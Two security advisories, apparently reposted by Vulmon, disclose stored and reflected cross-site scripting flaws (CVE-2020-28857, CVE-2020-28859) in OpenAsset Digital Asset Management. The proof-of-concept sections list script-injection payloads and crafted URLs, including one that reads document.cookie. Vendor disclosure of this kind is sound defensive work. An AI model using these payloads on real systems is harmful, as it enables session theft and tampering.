Vulmon
Title: Stored cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28857
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
The OpenAsset Digital Asset Management web application allowed for stored cross-site scripting attacks against various parameters and endpoints. Vulnerable parts of the web application include:
* System Preferences
* Project Code regex field
* User name regex field
* Password regex field
* All three description fields
* First Album Name field
* Visit Items Per SOAP request field
* Categories description
* Keywords, triggered on deletion attempts
* Editing photographer name
* Access token name
* Web share name
2. PoC
For system preferences fields, the following payloads can be used:
" autofocus onfocus="alert('Stored XSS');" abc="
"><script>alert("Script stored XSS");</script>
For categories description:
Category Name Goes Here<script>alert('Description stored XSS');</script>
For keywords:
Delete Me<script>alert(1234);</script>
Photographer name:
John Smith<script>alert("XSS Attack!");</script>
Access token name:
TokenName"><script>alert("Stored XSS Tokens")</script>
Web share name:
Share<script>alert("Stored XSS Web Share Name");</script>
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories
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Title: Reflected cross-site scripting (XSS)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.22 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28859
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
Multiple reflected cross-site scripting (XSS) vulnerabilities in the OpenAsset Digital Asset Management software allows remote attackers to inject arbitrary JavaScript or HTML via:
* Account recovery/password reset page through the email parameter
* Saved search request, through the id parameter
* Search result request, through both the imageViewId and lpFilterInputId parameters
2. PoC
Account recovery:
https://example.com/Page/StartAccountRecovery?ok=1 <https://example.com/Page/StartAccountRecovery?ok=1&email=test%40test%3cscript%3ealert(document.cookie)%3c%2Fscript%3e.com> &email=test%40test<script>alert(document.cookie)<%2Fscript>.com
Saved search request:
https://example.com/AJAXPage/SavedSearch?id=167826 <https://example.com/AJAXPage/SavedSearch?id=167826%22')%3b%7d%3b%7d%5d%7d)%3b%3c/script%3e%3cscript%3ealert(%22Reflected%20XSS!%22)%3b%3c/script> "')%3b}%3b}]})%3b</script><script>alert("Reflected%20XSS!")%3b</script>
"');}}}]});alert(123);
Search result request:
https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript <https://example.com/AJAXPage/SearchResults?imageViewId=A%27%22%3e%3cscript%3ealert(%22more+xss+here%22)%3b%3c/script> >alert("more+xss+here")%3b</script>
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories
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